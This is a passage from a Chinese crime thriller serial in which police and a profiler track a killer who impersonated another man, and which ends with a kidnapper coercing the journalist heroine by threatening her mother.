“人手不够啊。通缉令一发,现在市局、各个分局包括交警各大队,全都铺开出去了,在所有的交管要道设卡,对沿线所有的车辆、人员做排查。小谢带队亲自去查卢康安家了,范副局在市局指挥坐镇,我是个省厅下派的闲人,就在外面帮忙跑一跑。” 原来谢支去查卢康安家了……看来飞云南的旅客名单确实查得不顺利啊。可按道理讲,这不是比对一下照片就能比对出来的事吗?难道说卢康安过安检时用的不是后来犯案时的那张脸? 这家伙到底还有多少张面孔? “现在是要查人脸识别机器吗?” “对,谢支怀疑可能是人脸识别机器出问题,被做了手脚,所以要排查一下。不论如何想,先排除隐患。” “那飞云南的名单查出有可疑人物了吗?”秦梓需问。 “据我所知还在查,没那么快。所有的人脸数据一直在比对,但暂时还没有能和画像比对上的,正因如此,我们才怀疑是机器被干扰的问题。” 三人来到安检口,先是找到了机场安检组的组长。航管局派来的这位技术人员应该也是一个中层管理人员,他立刻对所有仪器展开检测。 这个时间,安检口排队安检的人已经不多了。他们从排队最少的口子开始检查,一共12个安检口查完,已经到了凌晨1点多了。 “所有设备没有任何问题,我早就告诉你们了,机场安检是一个立体防御系统,包括多光谱融合、硬件抗干扰设计、多传感器协同及快速响应机制。打从进门开始,安检就无处不在。就算有人能用红外干扰设备扰乱摄像头,他也过不了后续的安检通道。”航管局技术员说话的口气不大好,身上散发着被迫加班到凌晨的怨气。 “没有问题就好。”刘明城并不气馁,他反倒很开心。他随即望向秦梓需,道: “秦老师,现在设备是没问题了,你觉得卢康安是怎么过安检的?” 秦梓需正不知该如何回答,突然有个年轻的女安检员走了过来,对刘明城和秦梓需道: “请问……你们是不是在查一个化妆的男的?” “你有印象?”秦梓需精神一振,忙追问。 “嗯……挺帅一个男的,我给他做的搜身,我当时注意到他脸上涂了遮瑕,我心想他可能是为了遮盖痘印。他化妆技术还挺好的,化妆的男的很少见,他的穿着打扮很低调,也不像那种花枝招展的男的,我觉得挺新鲜的,就留了个印象。”女安检回答道。 “他叫什么名字,你有没有印象?”刘明城问。 “这……我真不知道,你们知道吗?”女孩问她身边的两个同事,这两个同事都是男性,一个负责人脸识别登记身份,一个负责在安检机旁递送物品篮,查验旅客包里的物品。 查行李的安检员道:“我也没看到他的身份证,我只有一个很模糊的印象,我看到他的双肩包里有一台平板设备,还塞着一个空的折叠起来的黑包,好像……还有一把折叠的雨伞。” 核验人脸识别登记身份的安检员冥思苦想,最后很无奈道:“抱歉,真的没什么印象。那天过安检都很顺利,速度都很快,我印象里好像第一眼望见他时,确实觉得他的脸不大自然,但念头一闪而过,系统核验成功,我也就没在意。 “他的名字好像是两个字,好像是姓李来着,我只记得这些了。” 秦梓需立刻将这些讯息发给了谢云卿。 接下来,她和刘明城一直在到达大厅等待,等了半个多小时,秦梓需的内部手机电话终于响起,来电显示正是期盼中的谢云卿的短号7。秦梓需秒速接起: “谢支,查到了吗?” “查出来了,李立,男,30岁,汉族,7月5号晚9:35分,乘坐CD5316号航班飞云南昭通。这人的脸系统筛漏了无数次,和画像还是有很微妙的差别,总是匹配不上。最后是刘雪莹她们调了一下光影参数,终于比对出来了。 “这个身份信息很可能是从暗网买来的,真正的李立很可能已在外国死亡,身份信息被贩卖,一直没有亲属在国内做销户。”谢云卿的声音都哑了,“还有,我们检测了卢康安的植物人父亲卢建军和卢康安的DNA,两人没有亲缘关系。” 秦梓需抬头仰天叹了口气,终于,事实完全印证了她的推测。 “我已经把李立和卢康安的信息发云南协查了,从云南那里查能也许会有进展。另外,云南那边跟我反馈,你让他们查的女孩衣服上的化妆品痕迹,确实检测出来了,特殊化妆这个方向看来是铁板钉钉了。云南的痕检还从化妆品残留的痕迹上,还原出了卢康安的耳廓痕迹,这是一大发现。”谢云卿补充道。 “太好了!有了耳廓,天网追查又多了一个抓手。”秦梓需终于露出了一丝笑容,随即道,“谢支,我推测卢康安可能还有一个帮手,那人才是黑客,一直给他提供情报支持,要先抓住这个人。” “确实可能性不小,但网安那里查得很费劲,这个黑客很小心谨慎,手段也很高超。尤其是他对公安的侦查手法很熟悉,根本不吃蜜罐。” “我有一个想法,很冒险的想法,我心里清楚我连提都不该提,但现在……我们真的快要没办法了,如果两天后云南那边也查不出来,恐怕我们只有采取非常手段了。”秦梓需的神情极其严肃,眸光中充斥着矛盾与挣扎。 谢云卿似乎猜到了她要说什么,电话那头沉默了下来,而站在秦梓需身边的刘明城也默然注视着她。 “秦老师,今天很晚了,你先回来市局补个觉吧,有什么事,等明天开会再说。”谢云卿道。 “好。”【你现在阅读的是 】 70-80 第71章 第七十一章 秦梓需这天通宵未眠,她没有回市局,而是去了卢康安家。 彼时已然是凌晨三点多了,谢云卿带着刘雪莹等三个痕检技术员还在卢康安家做第二次地毯式搜检,他们不放过任何一点线索,仔仔细细搜了一个晚上。之所以挑这个时间点搜查,而且轻手轻脚,尽量不发出大动静,是为了不惊动附近邻居。 虽然现在通缉令都发出去了,卢康安肯定早就是惊弓之鸟,但警方仍然不希望卢建军安静的生活被打搅,他是个极其无辜的人,案情复杂,周围邻居听到些风言风语,很难搞清楚到底是怎么回事,极容易把他想成是杀人犯的父亲。他的名声不应该被莫名其妙败坏了。 谢云卿开门把秦梓需迎进来时,显得很讶异:“你怎么跑过来了?” “我想亲眼看看卢康安生活的地方,这样能很大程度上完善他的犯罪画像。”秦梓需道,随即她追问道,“你说卢建军不是卢康安的亲生父亲,那卢建军二十年前落水自杀,这事儿有疑点吗?” 谢云卿道:“你是说,是不是邵彦华干的?不是,邵彦华那会儿才十三岁,都还没犯下第一起案件呢,怎么就能想到要干掉卢建军?卢建军确实是自己跳河自杀的。 “不过你的推想也确实值得深思,从正常的逻辑出发,要李代桃僵,肯定是早就选好了合适的目标人物,购买好了身份。20年前卢建军出事时,卢康安是个15岁的学生,2005年时卢康安20岁,是个大学生。他为了照顾父亲,上的就是胥城的大学。 “我也在琢磨这个事儿,你说这个邵彦华,是怎么瞄准了卢康安这个人物,怎么能快速替代了他的身份。这真的很奇怪,因为暗网上还有不少已故人员的身份在出售,他却偏偏挑了一个还有一个植物人父亲的家庭,而且真的卢康安的母亲和妹妹都还在世呢,就不怕露馅了吗。” 秦梓需道:“这只能说明一点,邵彦华是处心积虑筛出了卢康安这样一个人,他二人长相一定本就很相近,且卢康安的履历和身份也是他最想要的,如此一个近乎完美的身份,只需处理掉卢建军这个老父亲,就可以完美取代了。 “至于母亲、妹妹,卢建军落水成了植物人,她们都不曾出现过一下,就说明关系断得很彻底,我认为邵彦华并不会因此担心取代卢康安会被识破。相反,这母女俩反而要担心卢康安找她们的麻烦,避之唯恐不及。” 谢云卿点头道:“确实,很符合人性。听说这夫妻俩当时闹得不可开交,确实已经是仇人了。” 随即,谢云卿转而又道:“既然如此,真正的卢康安可能也已经在2005年遇害了。真可怕,一个大活人突然不见了,随后被另外一个人取代,竟然没有任何人发现。” “而且那会儿真正的卢康安考上大学已经两年了,邵彦华直接规避了高考,成为了大学生。”秦梓需补充道。 她在卢家的客厅里踱步,观察着这里的一切。老旧的家具,还维持着至少二十多年前的装修风格,家里已经落了一层薄薄的灰,但物品摆放尚算整齐。 家中没有悬挂任何家庭照片,甚至看不到任何装饰品。一切物品都是实用物品,且存在反复使用多年的痕迹。 片刻后突然回头看向谢云卿,道: “他有极大可能有同伙,这个同伙和他的关系非常紧密,极有可能就是他的家里人。他取代卢康安这个身份,潜回国内,难保当时他的家里人没有跟着一起回来。” “所以……是邵长生、梅凝隽和邵紫涵三个人一起洗了一层身份回来吗?会不会难度太大了?”谢云卿表示怀疑。 “不好说,但起码有一个人跟着回来了,并成为了邵彦华的帮凶。我更倾向于帮凶是邵紫涵,毕竟是黑客,这种高技术的犯罪梅凝隽很难胜任。有可能邵长生已经不在了,如果邵紫涵回来了,梅凝隽估计很难一个人待在国外,也会跟着回来的。” “为什么?”谢云卿疑惑。 “这只是我个人的推测,没有任何实际依据。我对邵彦华所作的心理画像反应了他有极强的控制欲和极度膨胀的自恋心态。这种人和父亲之间的关系一定非常不融洽,父亲代表着一直笼罩在他头顶上的强权,他是不可能忍受这种强权的,一定会想方设法推翻,因此他会有很强的弑父倾向。 “这一家人不一定是同时回国的,邵彦华肯定是第一时间回国的,他要长时间监视自己的犯罪有没有被警方查出来,并及时处理后续。梅凝隽、邵紫涵可能是后来才回来的,且极大可能和邵长生之间产生了巨大的矛盾。邵长生可能已经死了,他有可能是被邵彦华、梅凝隽和邵紫涵三人中任何一者、亦或者是二者、三者合谋杀害了。排列组合,有多种可能。” 谢云卿的眉头皱成了川字,她感到一阵反胃,如果真如秦梓需推测,这一家人的家庭关系到底是有多扭曲变态啊? 秦梓需补充道:“回国后的邵彦华,一定会加倍小心,他的第一要务就是尝试接近警方,探查自己当年犯下的案子到底侦查到了哪一步,随后他会想方设法去侦查那些他曾经犯下案子的地方,熟悉犯案地点的环境,同时想办法去补救和清洗掉当年遗留下来的微小线索,来确保犯罪万无一失。所以,他一定会频繁地跑天平山,跑药山镇,去侦查犯罪地点的环境,还会想方设法给自己谋求退路。” 谢云卿打了个响指道:“说起退路,在二手市场,我们找到了那辆厢式大货车,打开了后车厢,里面就是卢康安的那辆帕萨特,现在车子已经被拉去做痕检了。暂时只能确认车里空空如也,啥也没找到。” “真不知道他做了多少手准备,外地牌照的厢式大货车,被他停在那样一个刁钻的、无监控的位置,以此来遮盖他的车辆行踪,真是处心积虑。”秦梓需感叹道。 二人站在客厅里,这一聊就是好长时间,痕检已经做完了第二次的搜检,并来向谢云卿做汇报: “除了定时开关点灯,和绑在扫地机器人上用来制造脚步声的拖板,暂时没有发现其他任何可疑的物品,家里像是被刻意收拾过了。虽然DNA能检测出来,但找不到任何作案工具,也没有血迹和其他不属于父子俩的毛发、分泌物等。这个家应该不存在凶案现场的可能性。” 秦梓需道:“那我现在进去看看。卢康安睡在哪个屋?” “右手侧那个屋子。”痕检指示道。 秦梓需穿过走廊,先是看了一眼左侧的房间,里面有一张看护病床,明显是卢建军的卧室。 她随即看向右手侧,卢康安的卧室极其简朴,一张单人床,一个大书架,一张书桌,一个简易衣柜,就是全部的家当。衣柜里的衣服已经全部被带走了,啥也不剩。书桌上有摆放电脑留下的印痕,他应该是把他的笔记本直接带走了。 书架上的书他没有带走,这毕竟是累赘。秦梓需扫了一眼,以计算机技术和软件开发的应用书籍居多,还有相当一部分的科幻小说和漫画。这些藏书,可能相当一部分并不是邵彦华购置的,而是真正的卢康安的书籍。 这屋子里不知为何特别的阴森,哪怕没开空调,秦梓需站在这里都感觉寒意爬上脊背。邵彦华替代卢康安在这个屋子里住了十五年,他这个冒牌货,戴着一副假面,装着孝子的模样,照顾一个完全瘫痪、毫无自主意识的植物人“父亲”,这个“父亲”和他之间没有一丝血缘关系。他是怎么能把这种日子一直过下去的…… 思及此,秦梓需不由得打了个寒颤。 秦梓需突然注意到书架第二层空余的位子上,摆放着一个摆件——粉色热气球挂着一个粉蓝色的吊篮,吊篮里是冰淇淋圣代。粉色热气球上还用马戏团字体标了两个英文字母“BR”。 秦梓需戴上手套,将这个摆件抓起端详。这摆件她好眼熟,像是在哪儿看过。随即她突然想起来,章弥真吃的冰淇淋就是这个牌子的。 “这是芭斯罗缤冰淇淋的周边,你吃过吗?”刘雪莹不知何时来到秦梓需身后,问。 “我还真吃过……”秦梓需道。 太奇怪了,这个摆件出现在这里,简直无比违和。到底是什么意思,为什么卢康安的房间里会有这么个摆件? 秦梓需将摆件放回原位,向后退了几步,然后就被身后的床卡住了。她脱了鞋直接走到了床上去,蹲下身来,拉开视野去全览整个书架。 刘雪莹惊奇地看着她动作,不敢出声打搅。 秦梓需看了好一会儿,拿出手机拍了张照片,神情微妙地下了床,穿好鞋。 “秦老师?到底咋了?”刘雪莹问。 “现在还不好说。”秦梓需道。 …… 秦梓需7月20日这天傍晚匆匆出门,竟然第二天一整天都没回来,一直到7月22日的早上8点差几分,她才一脸疲惫地开门回了安全屋。不过期间她和章弥真通了几次内部电话,将案情断断续续都和章弥真讲了。 对于邵彦华被确定为重大嫌疑人,且伪装成卢康安,在公安系统留后门、借此刺探情报的一系列侦查结果,章弥真虽早有预料,却仍然是无比震撼。她有些担心自己把这些内容都写进报告文学里,能不能过审。 秦梓需在电话里专门问了章弥真芭斯罗缤的摆件要怎么获得。章弥真很意外她会有此一问,并告诉她,要在门店购买他们的全家福套餐才能获赠,而且是仅限活动期间。 随即秦梓需就把自己拍下的那张卧室书橱照片发给章弥真看,章弥真果然第一眼就注意到了那个摆件,她告诉秦梓需: “这个摆件中国这边是没有的,这是美国门店才有的,而且我记得应该是我留学打工那段时期,也就是……08年的夏季嘉年华时期的特殊赠品。” 随即她就听到了秦梓需在电话里吸冷气的声音,但她啥也没解释,就直接挂了电话。 接着又过了将近8个小时,章弥真终于等到她回安全屋了。 “老秦……你看上去快死了。”章弥真的神情很担心。 “我……二十多个小时没合眼了,我先睡会儿。”秦梓需现在说话都费劲。 “好好好,你快去睡。”章弥真哪敢拦着她,生怕她倒在自己跟前。 “咦?陈薇不在吗?”秦梓需居然还能注意到屋里少了个人。 “哦,她这两天每天早上都去带郭雅洁晨练呢,8点之后就回来了。”章弥真道。 秦梓需点了点头,甚至都没有力气洗澡换衣,带着一身汗馊味就直接进了自己房间,倒在了床上。 章弥真站在她房间门口一脸震惊。心想这大夏天的,她四处奔忙也不知道出了多少汗,以她的洁癖居然真的不洗澡就睡觉了,恐怕真是累到极致了。 想了想,她还是帮她掩上了房门。大不了等她起来了,帮她洗一洗床单被套啥的,反正在这安全屋也没事干,顺手的事。她心里转着这些小心思,就又回了自己屋里准备今天的写作。 玄关传来了陈薇开门进来的声响,章弥真听她喊道:“早饭买回来了,快来吃。” “马上来。”章弥真应了一声,觉得最近这日子过得真像是大学时的女生宿舍。虽然她大学时没怎么住过宿舍,但这种体验还挺美好的。 她点开微信电脑版与吴岚的对话框,点开了她刚发过来的视频,是吴岚拍的猫猫在数媒中心的新生活,自从把阿真和小梓接到数媒中心,她每天都一大早赶去照顾猫猫,还给章弥真传视频汇报情况。 “两个小家伙吃得越来越多了,晚上把它们关笼子,它们也挺习惯的,不怎么闹。白天放它俩出来,到处跑,小梓特爱钻小影的怀里。小影爱不释手,心情也好很多呢。”吴岚在视频里说道,说这话时她正在拍两只小猫吃猫粮的画面。 【姐,这段时间真是辛苦你了。】章弥真打字发了过去。 【我不辛苦,你倒是辛苦,我知道你的,把你关在屋子里,可得把你憋坏了。】吴岚发了个捂嘴笑的视频。 章弥真唇角有笑意,眸中却有泪光。她何德何能,拥有这样一群美好的朋友。 第72章 第七十二章 章弥真发现,秦梓需好像突然从极度忙碌的状态进入了一个什么事也干不了的清闲状态。 22号早上回来后,她足足睡了13个小时,一直到晚上才爬起来,顶着一头乱发迷迷糊糊地晃荡了几圈,然后像个仓鼠似的扒冰箱找东西吃。 章弥真看不下去,亲自下厨给她煮了一碗加蛋加鸡腿的面,看着她吸吸溜溜、狼吞虎咽地全吃下去,脸色终于由青转白,多了几分血色。 “你查个案子真的是要把命搭进去了。”章弥真忍不住吐槽。 “抢时间,没时间吃饭睡觉。”秦梓需道,“不过现在也急不得了,能查的都查了,通缉令也发出去了,只能等天网追踪了。” “你昨天给我看的那张书橱的照片,还有BR的摆件,啥意思?我不懂。”章弥真问。 “你觉得这个书橱整体看上去如何?”秦梓需把那张照片从手机里调出来,摆在两人都能看清的角度上,不答反问。 “嗯……”章弥真沉吟着审视那张照片,书摆得很整齐,书目都是分门别类的,感觉像是个很规矩的人的习惯。那个摆件,就放在一套科普丛书的位置。 可这能说明什么呢?她感到不解。 “他在尝试误导我。”秦梓需唇角微微弯起,“这家伙一直知道我的存在,他对我有做过预案。” 此言一出,章弥真顿时感到一阵惊悚:“啥意思啊?” “他知道我会如何通过行为来分析他的心理状态,为了对我造成误导,他反其道行之,想让我对他做出误判。这个书架被他重新整理过,原来不是这个样子的。我仔细查看了书架上的积灰情况,还有书脊之上的晒痕,这书架上的书近期明显被重新排列摆放过。原来比现在要更杂乱无章。 “这个摆件,状态也不像是长期被摆在书橱上的状态,它表面上很光滑,像是时常被拿在手里把玩而盘出来似的。而且我在这个摆件上嗅到了一股香水味道,我感觉这摆件像是曾经长期随身携带的。 “他整理了书橱,故意把车上的摆件放到了书橱上,而且你看他摆的位置,这个摆件后面的这本书是什么?” “《罪与罚》?陀思妥耶夫斯基的名著。这书怎么了?”章弥真疑惑。 “哦,我以为你知道呢,这本书虽然是小说,但其实被誉为‘犯罪心理学开山之作’,他这是在对我挑衅,也是在对你挑衅。”秦梓需道。 “我?”章弥真指了指自己的鼻子,一脸迷惑。 “对,这个摆件就代表你。我怀疑,你在芝加哥的冰淇淋店打工期间可能无意中接触过邵彦华的同伙,这个摆件就是当时从你手里发出去,发到同伙手里的。他的这个行为,是一种犯罪预告,这是在说,下一个目标就是你。” 秦梓需的话让章弥真整个人都炸毛了,她噌的一下站起身来,惊道:“啥?我居然……我什么时候……?” 她迷茫了,思索半晌完全没有印象。 “你别急,先坐下,咱们从头捋一捋思路。”秦梓需安抚她。 章弥真深吸一口气,依言坐下,道:“那你先别说话,让我来捋一下。 “邵彦华2002年时制造了马家早餐铺的爆燃案,2005年时在速联网络搞黄色网站,当年8月末杀害了追查他的杨莲,埋尸天平山,铁道抛颅,9月去云南追查丢失的物证,害的老周出车祸。 “之后出国洗白身份,顶替了一个叫做卢康安的身份潜伏在国内,接触到公安系统,借此探听警方对自己所犯的案件的调查动向,并不断地湮灭自己的犯罪证据。2012年时,他察觉到物证很可能在李芝华手里,于是跑到韩国,策划了针对李芝华的谋杀,但仍然没有拿到物证。 “2020年,他在市局和你打了照面,意识到他的案件已经重新开始调查了,于是着手准备到云南,抢在警方前,不惜暴露自身,想要强行拿到物证。于是制造了李家的悲剧。但还是失败了,当然警方也没拿到关键物证。 “经过我们的艰苦调查,他的身份终于浮出水面,他应该也是预判到了这个结果,于是潜逃。” 秦梓需点头,笑道:“总结得很到位,就是这么个过程。” “所以现在咱们还有两个亟待查清楚的疑点,一是同伙,你推测他至少有一个同伙,这个同伙和他之间有很亲密的、牢不可破的关系,且这个同伙是个顶级黑客。二是丢失的物证,必须得确认李芝华案的更多细节,搞清楚她究竟把物证藏到哪里去了,对吧?”章弥真道。 “对。”秦梓需点头。 “那你打算怎么查?”章弥真问。 秦梓需笑了下,道:“我需要你帮忙。” “啊?我可以离开安全屋了吗?”章弥真双眼发亮。 “嗯……这取决于咱们接下来的计划是否顺利。”秦梓需道。 “什么计划,你是不是要搞事啊?”章弥真挑眉。 “我需要确认一下我不在的这段时间,关于你的那两只猫到底发生了什么,你从头至尾事无巨细跟我讲一下。” …… 一连一周多的时间,调查陷入僵局。云南方面追查伪装成“李立”的卢康安果然还是陷入迷雾,而黑客方面的追踪仍然迟迟没有进展。 胥城的高压态势难以长时间维持,设下的关卡撤掉了八成,上路排查的警力也撤掉了绝大部分,只余进出入城的交通要道仍然保留有关卡警力。 时间进入八月,秦梓需一行人前往韩国的公务护照已经批下,赴韩调查的日期就定在8月3日,机票时间也定下了,上午10点10分飞韩国仁川国际机场。这一次赴韩调查的人员阵容颇为豪华,出了秦梓需,刘明城、谢云卿赫然在列,另有挑选出来的3名经验丰富的刑警,还有公安部的一位毒物专家。国内对邵彦华的追踪,则交给了省厅全盘指挥。 而显然,章弥真是不在这个赴韩侦查名单上的,她不得不被禁足在安全屋之中,生活难以恢复平常。 唯一向好的变化是章弥真工作室涉嫌泄露内参机密文件的嫌疑解除了,工作室的工作恢复了正常。而章弥真现在只能依靠网络“居家办公”,和同事们隔空业务往来。 两只小猫在章弥真工作室也待了快两周了,和所有人都熟络了起来,成了大家近期最宠爱的新同事。章弥真作为正牌猫主人却不能亲自到场撸猫,只能隔着屏幕含泪看着同事们和猫猫亲密互动,酸水直冒。 而到了8月3号秦梓需出发的这一天,章弥真的酸楚情绪达到了顶峰。为了赶10点10分的飞机,秦梓需一大早5点钟就起床了,章弥真睡不着,也跟着起来,送她出门。 6点钟,秦梓需背着双肩包,推着行李箱出门,章弥真送她到楼栋门口,与她挥手作别。 “老秦,你欠我一次韩国调查。”她道。 “调查还能欠的吗?那我怎么还啊?”秦梓需苦笑。 “以后你要是再查什么案子,得叫上我。”章弥真不依不饶。 “好好好。”秦梓需非常敷衍地连说三个好字,从口袋里掏出战术手电,塞进了章弥真手里,对她笑了笑,随即提着行李箱远去。 “喂!注意安全啊。”章弥真喊道。 “嘘,你小点声,很多人都还没起床呢。你才要注意安全,重点保护对象。”秦梓需回了一句,声音远去。 章弥真失魂落魄地上楼,进家门时,看了一眼手里的战术手电,将其揣进了口袋里。 陈薇也起来了,两人打了个照面,便各自洗漱。 7:30差几分,陈薇出门,照例和郭雅洁约着晨练。8点多,她带早饭回来,章弥真则一边吃早饭,一边看每天早间吴岚发来的猫猫简报视频。 9:00,正式开始上班,章弥真虽居家办公,也会穿上相对正式的服装,毕竟要在视频里见许多领导。 上午陈薇一般会在阳台开展她的训练计划,同时观察小区里的情况。她手里有一台小区物业匀给她的设备,能够实时看到小区所有监控探头的状况。 9:30,秦梓需给章弥真的微信发送了一张机场照片。 10:10分,秦梓需等人所乘坐的航班准时起飞。 11:30分,工作告一段落,章弥真帮陈薇做午饭,两人随后一起吃饭。 12:30,午休,下午13:00,章弥真再次开始工作,但这个时间点,新闻工作暂时没有多少了,她会抽时间继续写她的报告文学。陈薇则会开始看书学习,她每天都要求自己学习各种与特警处突和CQB战术相关的知识,她说这是她的短处。 17:30,章弥真处理完今天绝大部分的工作,起身点了下眼药水,顺便活动身躯。 18:00,章弥真和陈薇吃完晚饭,开始娱乐夜生活。对章弥真来说,吃冰淇淋看电影电视剧就是娱乐,但大多数时候,她都会做一个小时的瑜伽和自重训练。而陈薇则再次开始夜训,磨练格斗技能,她每天的训练项目相当多,但因为只有一个人,只能独自训练。 章弥真也让陈薇教了她两招,这么多天下来,章弥真还真学会了一些极端情况下的搏斗和逃生技巧。 21:30,两人陆续洗完澡,准备上床睡觉。差不多就在这个时间,秦梓需又给章弥真发了一张照片,是首尔的标志性建筑首尔塔,拍照时还是天亮的时间,秦梓需还发了个位于首尔的酒店定位给章弥真,并附了一句话:【和韩国警方对接耗了大半天时间,明天坐车去牙山。他们说这个案子后续有新发现,很可能要找到证物了,我们应该很快会回来的。】 22:30,章弥真靠在床上完成了今天制定好的读书计划,关灯睡觉。这些日子,她已经养成了早睡早起的好习惯了。 时间滴答,精准而无情地流逝,时针跳过午夜12点,进入了8月4日的范围。 7点半,章弥真的闹钟响起,她按时起床。查看了一下手机,秦梓需没有给她发新消息。 陈薇已经出门晨练了,她一个人在卫生间洗漱。 突然她的智能手机响起,来电是吴岚: “姐,怎么了?” “小真,猫猫出事了,放在单位的监控看到它拉稀呕吐,已经没法动弹了,偏巧我的车打不着火了,这会儿打车困难,赶不及。你看谁有办法赶紧过去,把猫送去宠物医院急救。”吴岚的声音很着急。 “组里的小孩好像都来不及赶过去啊,这样,我给兽医发个消息,看她有没有空过去。”章弥真回道。 “哎呀,兽医进不去啊,得有人带路。”吴岚道。 “我有打扫卫生的梅姐的联系方式,我来给她说一声,让她帮忙带路。”章弥真道。 “那好,你赶紧联系她。” 电话挂断,章弥真的手微微颤抖地点开了兽医的微信,并直接打了个微信电话过去。 微信熟悉的铃声响起,兽医那戴眼镜的猫猫头像跳跃道屏幕中央,好一会儿,终于接通: “章小姐,这么早,出什么事了吗?”兽医的声音听上去略有些沙哑。 “两只猫猫在数媒中心好像生了急病,现在吴岚很难赶过去,你能不能过去帮忙看一下猫猫的情况?”章弥真道。 “我赶不过去呀,离得太远了。”兽医道。 “你是在你的家里吗?”章弥真确认道。 “不,我在你家里,和你母亲在一起。”兽医轻声道,声音中带着一丝戏谑。 章弥真浑身一震,汗毛倒竖,登时惊得瞳孔皱缩。 电话突然挂断了,章弥真的手机突然一震,她差点没抓住。 兽医发来一张照片,照片背景是她自己那熟悉的、背了沉重房贷的新房子,章弥真看到她妈妈被捆绑着,倒在地板上,眼睛、嘴巴全被胶带封住了。 “妈!”她面上倏无血色,明知道谁也听不见,她却失声叫了出来。 兽医再次来电,章弥真忙接起:“趁着现在安全屋里只有你一个人,悄悄地过来,胆敢呼救、报警,你母亲的命就没了。你只有20分钟时间,过时不候。” 旋即,电话挂断了。章弥真感到天旋地转,如坠冰窖。 第73章 第七十三章 章弥真双手撑着卫生间的水台边沿,深呼吸三下迫使自己沉下气来。 她的手指在微信联系人的界面上晃动,点开了秦梓需的对话界面,犹豫了片刻,终于还是没有发送任何消息。 她出了卫生间,用最快的速度换好衣服,胡乱扎了一下头发,就出门了。她从没有感觉到走路这般头重脚轻,心脏在胸腔里凶猛地跳动,呼吸急促而短,耗费了她十倍的功夫。 嗡……耳鸣袭来,出楼栋时天光刺目到让她睁不开眼。她仿佛幻听到了炮击声和枪声,一瞬好像被强行拉回了叙利亚战场。 她开始狂奔,冲出了小区,直接招手打了一辆巡游出租车,坐进后座,报了她新房子的地址。 “师傅,开快点!”从安全屋的位置,开到她的新房子,20分钟都不一定够用,何况她从出安全屋到门口打车,已经耽误了好几分钟。 她拼命回拨兽医的微信电话,对方却根本不接。她将智能机放在膝盖上,拿起了内部电话。这内部电话凶手难道也能窃听吗? 试一试,否则靠自己解救母亲她没有任何把握。她现在到底该向谁求救?她再次拨打兽医的微信电话,同时一只手捂住智能机的听筒,一只手操作内部电话,拨通了耿剑秋的快捷号9。 “喂?”耿建秋的手里果然还保留着内部电话。 “我妈被兽医绑架了,在我家里。帮我。”章弥真说话声音很小,直切主题。 但前方开车的司机还是听到了,惊愕地望了一眼后视镜。 “地址给我。”耿建秋立刻道。 “白水天城11幢6楼,602。”章弥真道。 “你现在赶到那里去吗?” “是。” “到小区门口就别进去了,等救援。” “你们不要……不要大张旗鼓,她会伤害我妈。”章弥真说这话时,浑身都在颤抖。 “放心,等我电话。” 电话挂断了,章弥真紧张地盯着智能机上微信呼叫的画面,兽医依旧没有接。 章弥真也没有再拨,她退出与兽医的对话界面,来到消息界面。突然看到秦梓需的对话拦亮了红点,她立刻点了进去,秦梓需发了一张照片给她。 她似乎在哪家餐厅里吃饭,面前摆放着一个大的不锈钢碗,里面是一大碗炸酱面。炸酱面旁还放着一碗莲藕排骨汤,蓝底的碗上似乎还有卡通图案,但没有拍全。 章弥真愣怔地望着这张照片,突然像是溺水的人得以浮出水面,她猛得大喘息起来,眼泪顺着眼角滑落。 “姑娘,你没事吧?”司机很担心地问了一句。 “没事……”章弥真将头埋进双膝之间,努力克制情绪。不一会儿她就不哭了,神色归于平静。 司机师傅抄了近路,开到了白水天城南大门口时,时间过了18分钟。兽医给她的20分钟时间其实已经超过,但兽医没有动静,章弥真也没急着下车,对司机道: “师傅,你在这里靠路边停,等一会儿。你照常打表,等下车时我付钱。” “姑娘,你真的没事吗?需不需要我报警?”司机师傅还是很关心她的。 “没事,我已经报警了,我正在等警察,麻烦您让我在车里坐一会儿。”章弥真道。 “哦,好好好,没事的,要相信咱们的公安警察,你也别太着急了,这世道,犯罪分子一犯事,不出一天都能落网的。”司机师傅很好心地安慰道,并且把打表器给停了。 章弥真知道她此时最好别下车,至少在车里她还有车壳这一层保护屏障,也保有立刻逃走的高机动性。这是她在叙利亚时学到的最基本的保命技能之一。 车内彻底安静下来,时间一分一秒流逝,她坐在车内,感到每一秒都如度年一般漫长,无比焦灼。但她还是把车钱付了,无意义地不停点开微信自上而下所有对话框,又退出,以此来缓解内心的煎熬。 等了约莫十分钟,内部电话响了,章弥真立刻接起:“我们到了,黑色大众,车牌8923,你人在哪儿?” “在出租车里,我看到你们了。”章弥真终于下车,迎着那辆刚在小区门口停下的黑色大众SUV跑去。 耿建秋摇下驾驶座的车窗,向章弥真招手。车里还有四个男子,都是区分局刑警大队的刑警。他们都配了枪。章弥真直接把家门钥匙给了他们。 “在传达室里等着,不要乱跑!”他叮嘱了章弥真一声,然后道,“放心,我们一定把阿姨安全救出来!” 说着向门卫亮了一下证件,门卫十分愕然地开了门,放他们进去。 “章小姐,你家出什么事了吗?”门卫是认识章弥真的。 “我妈来过吗?”章弥真问他。 “没在意。”门卫摇头。 “小区里来过什么陌生车辆吗?”章弥真又问。 “我今早六点接班的,到现在没见过。之前的话,不知道了。我可以查一下几个门的监控。”门卫道。 “立刻查。”章弥真道。 门卫急急忙忙把小区南大门、北大门、西大门的监控都调出来了。白水天城这个小区比较特殊,位于胥江的西侧,坐西向东,东面就是胥江,小区做了一连排的围墙,并没有进出的门。 西侧的门是便门,那里是一条并不宽阔的马路,马路对面就是菜市场,两侧还有好多的商铺、沿街摆摊的摊贩将道路挤得只剩下行人和电动两轮车能走,熙来攘往,热闹非凡。车辆并不从那里进出,小区人车分流,车辆都是从南北两个门进出,直接对应车库大门。 门卫动作太慢,章弥真实在等不及,正待亲自上手看时。突然微信电话来了,是兽医的电话。章弥真心头一揪,忙接起,就听兽医的声音阴恻恻地传来: “你不老实啊章记者,让你不要报警,你不听话。不听话就有不听话的后果,你妈的左手保不住了,下次再不听话,就轮到右手。” 微信电话里霎时传来惊恐的嘶叫声,章弥真立刻奔出传达室,举起未接电话的右手,做投降状。 “你别动手!我错了,我错了,接下来你让我做什么我就做什么!” “现在立刻往西门去,你只有1分钟。”说罢,电话再次挂断了。 章弥真顾不得门卫在后面喊她,撒腿就往西门跑。风声在耳畔呼呼掠过,她这辈子好像都没有跑过这么快,却又矛盾地感觉自己好像双腿灌了铅一般根本跑不动。 等她跑到了西便门,刚走到门外,兽医的电话再次打来,声音很冰冷: “去汇林大厦的地下过街通道,从三号口出,往红河路方向。不要跑,走路。” “我妈……” 